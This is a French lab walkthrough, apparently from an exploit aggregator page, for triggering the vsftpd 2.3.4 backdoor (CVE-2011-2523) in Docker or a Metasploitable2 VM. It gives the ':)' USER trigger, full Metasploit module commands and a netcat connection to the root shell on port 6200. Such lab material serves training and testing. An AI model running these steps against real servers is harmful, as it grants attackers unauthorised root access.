Exploit for OS Command Injection in Vsftpd_Project Vsftpd CVE-2011-2523

Name: Exploit for OS Command Injection in Vsftpd_Project Vsftpd CVE-2011-2523
Rating: 5 (227 reviews)
2025-12-15 | CVSS 10.0
## https://sploitus.com/exploit?id=63A5C9A7-C241-5E83-9EE6-ABAB44BDD270
# TP : Exploitation VSFTPD 2.3.4 Backdoor

## Table des Matières

1. [Contexte de la Vulnérabilité](#contexte-de-la-vulnérabilité)
2. [Comparatif des Méthodes](#comparatif-des-méthodes)
3. [Méthode 1 : Docker (Simulation)](#méthode-1--docker-simulation)
4. [Méthode 2 : Metasploitable2 dans UTM](#méthode-2--metasploitable2-dans-utm)
5. [Comprendre les Subtilités macOS](#comprendre-les-subtilités-macos)
6. [Dépannage](#dépannage)
7. [Ressources](#ressources)

---

## Contexte de la Vulnérabilité

### Qu'est-ce que vsftpd 2.3.4 ?

**vsftpd** (Very Secure FTP Daemon) est un serveur FTP populaire sous Linux. En **juillet 2011**, une version compromise (2.3.4) a été distribuée contenant une **backdoor cachée** (CVE-2011-2523).

### Comment fonctionne la backdoor ?

```text
┌─────────────────────────────────────────────────────────────┐
│                    MÉCANISME DE LA BACKDOOR                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. L'attaquant se connecte au port FTP (21)               │
│                        ↓                                    │
│  2. Il envoie un USER avec ":)" dans le nom                │
│     Exemple: USER test:)                                    │
│                        ↓                                    │
│  3. Le code malveillant détecte le smiley ":)"             │
│                        ↓                                    │
│  4. Un shell root s'ouvre sur le port 6200                 │
│                        ↓                                    │
│  5. L'attaquant se connecte au port 6200 → SHELL ROOT!     │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### Le trigger `:)`

Le code malveillant recherche la séquence **`:)`** dans la commande `USER` :

```bash
USER test:)
```

> **Attention Zsh sur macOS** : Utilisez des **quotes simples** si vous tapez manuellement : `'USER test:)'`

---

## Comparatif des Méthodes

| Aspect | Docker (Méthode 1) | Metasploitable2 (Méthode 2) |
|--------|-------------------|----------------------------|
| **Authenticité** | Simulation Python | Vrai binaire vulnérable |
| **Complexité** | Plus complexe | Plus simple |
| **Objectif** | Comprendre le mécanisme | Reproduire l'attaque réelle |
| **Prérequis** | Docker Desktop | UTM + VM Metasploitable2 |

**Recommandation** : La **Méthode 2** est plus réaliste. La **Méthode 1** est utile si vous n'avez pas de VM.

---

## Méthode 1 : Docker (Simulation)

### Prérequis

- Docker Desktop installé et lancé
- Metasploit Framework (`msfconsole`)
- 3 terminaux macOS

### Architecture

```text
┌─────────────────────────────────────────────────────────────┐
│                    ARCHITECTURE DOCKER                      │
├─────────────────────────────────────────────────────────────┤
│  macOS (127.0.0.1)                                          │
│  ┌───────────────────────────────────────────────────────┐ │
│  │ Metasploit → localhost:21                             │ │
│  └───────────────────────────────────────────────────────┘ │
│            │                                                │
│            ↓                                                │
│  ┌─────────────── Docker Container ───────────────────────┐│
│  │  Port 21 (mappé)         Port 6200 (NON mappé)        ││
│  │       │                         │                      ││
│  │       ↓                         ↓                      ││
│  │  backdoor.py ──────────→ socat (Shell root)           ││
│  └────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────┘
```

> **Important** : On ne mappe **PAS** le port 6200 au démarrage, sinon Metasploit dit "Already backdoored" et abandonne.

---

### Étape 1 : Construire et Lancer le Conteneur

**Terminal 1 :**

```bash
# Se placer dans le dossier du projet
cd /Users/nicolas/Documents/workspace/Securite

# Nettoyer les anciens conteneurs
docker rm -f vsftpd 2>/dev/null

# Construire l'image (--platform pour Mac ARM)
docker build --platform linux/amd64 -t vsftpd:vulnerable .

# Lancer le conteneur SANS mapper le port 6200
docker run --platform linux/amd64 -d --name vsftpd -p 21:21 vsftpd:vulnerable

# Vérifier
docker ps
```

---

### Étape 2 : Suivre les Logs

**Terminal 2 :**

```bash
docker logs -f vsftpd
```

Vous verrez :

```text
[*] Port 6200 is NOT open at startup - Metasploit will work!
[+] FTP proxy listening on port 21
[*] Waiting for connections...
```

---

### Étape 3 : Lancer Metasploit et Trigger

**Terminal 3 :**

```bash
msfconsole -q
```

Dans Metasploit :

```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 127.0.0.1
set RPORT 21
set payload cmd/unix/interact
run
```

**Résultat dans les logs (Terminal 2) :**

```text
[!] TRIGGER DETECTED IN USER COMMAND!
[!] BACKDOOR TRIGGERED!
[+] Backdoor shell ready on port 6200
```

> Metasploit affiche "no session created" — c'est **normal** car le port 6200 n'est pas mappé vers macOS.

---

### Étape 4 : Se Connecter au Shell

**Terminal 1 :**

```bash
docker exec -it vsftpd nc 127.0.0.1 6200
```

Vous êtes maintenant dans le shell root ! Vérifiez :

```bash
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root
```

---

### Résumé des Terminaux

| Terminal | Rôle | Commande |
|----------|------|----------|
| **1** | Lancer le conteneur | `docker run ... -p 21:21 vsftpd:vulnerable` |
| **2** | Voir les logs | `docker logs -f vsftpd` |
| **3** | Trigger via Metasploit | `msfconsole` → `run` |
| **1** | Connexion au shell | `docker exec -it vsftpd nc 127.0.0.1 6200` |

---

### Nettoyage

```bash
docker rm -f vsftpd
docker rmi vsftpd:vulnerable  # Optionnel
```

---

## Méthode 2 : Metasploitable2 dans UTM

### Prérequis

- UTM installé sur macOS
- VM Metasploitable2 importée
- Réseau en **NAT** ou **Bridged**

### Architecture

```text
┌─────────────────────────────────────────────────────────────┐
│                 ARCHITECTURE METASPLOITABLE2                │
├─────────────────────────────────────────────────────────────┤
│  macOS (127.0.0.1)                                          │
│  ┌───────────────────────────────────────────────────────┐ │
│  │ Metasploit → 192.168.128.2:21 ────→ :6200             │ │
│  └───────────────────────────────────────────────────────┘ │
│                          │                ↑                 │
│                          ↓                │                 │
│  ┌──────────── UTM (Metasploitable2) ─────────────────────┐│
│  │      vsftpd 2.3.4 (vrai binaire vulnérable)           ││
│  │      Port 21 → Détecte ":)" → Ouvre port 6200         ││
│  └────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────┘
```

---

### Étape 1 : Démarrer la VM

1. Ouvrez **UTM**
2. Sélectionnez **Metasploitable2**
3. Cliquez sur **Démarrer**
4. Login : `msfadmin` / Password : `msfadmin`

---

### Étape 2 : Récupérer l'IP de la VM

Dans la VM :

```bash
ifconfig eth0
```

Notez l'IP (exemple : `192.168.128.2`)

---

### Étape 3 : Vérifier la Connectivité

Sur macOS :

```bash
# Vérifier que la VM répond
ping -c 3 192.168.128.2

# Vérifier le port FTP
nc -zv 192.168.128.2 21
# Attendu : Connection succeeded!

# Vérifier que le port 6200 est fermé (avant l'exploit)
nc -zv 192.168.128.2 6200
# Attendu : Connection refused
```

---

### Étape 4 : Lancer l'Exploit

```bash
msfconsole -q
```

Dans Metasploit :

```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.128.2
set RPORT 21
set payload cmd/unix/interact
run
```

---

### Étape 5 : Résultat

```text
[*] 192.168.128.2:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.128.2:21 - Backdoor service has been spawned, handling...
[*] Found shell.
[*] Command shell session 1 opened
```

**Vous avez un shell root !**

Vérifiez :

```bash
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root
```

---

## Comprendre les Subtilités macOS

### Pourquoi `--platform linux/amd64` ?

Les Mac Apple Silicon (M1/M2/M3/M4) utilisent **ARM64**. L'image Docker est pour **x86_64**. Cette option active l'émulation via Rosetta 2.

### Pourquoi le port 6200 ne peut pas être mappé ?

1. **Si mappé au démarrage** : Metasploit voit le port ouvert → "Already backdoored" → Abandon
2. **`--network host` ne fonctionne pas** sur macOS (Docker tourne dans une VM Linux)

**Solution** : Utiliser `docker exec` pour se connecter directement au conteneur.

### Le problème du `!` dans zsh

Zsh interprète `!` comme "history expansion". Solutions :

- Quotes simples : `'test:)'`
- Désactiver : `setopt NO_BANG_HIST`

---

## Dépannage

### "Port 6200 is already open" (Docker)

```bash
docker rm -f vsftpd
docker run --platform linux/amd64 -d --name vsftpd -p 21:21 vsftpd:vulnerable
```

### "Connection refused" sur port 21

- Vérifiez que la VM/conteneur est démarré
- Vérifiez l'IP avec `ifconfig` ou `docker ps`
- Testez avec `nc -zv  21`

### "Exploit completed, but no session created" (Docker)

C'est **normal** ! Utilisez `docker exec -it vsftpd nc 127.0.0.1 6200` pour accéder au shell.

### Pas d'IP sur la VM

```bash
sudo dhclient eth0
# ou
sudo ifconfig eth0 192.168.128.100 netmask 255.255.255.0
```

---

## Ressources

- **CVE** : [CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)
- **Exploit Metasploit** : [vsftpd_234_backdoor](https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/)
- **Ports utilisés** : 21 (FTP), 6200 (Backdoor)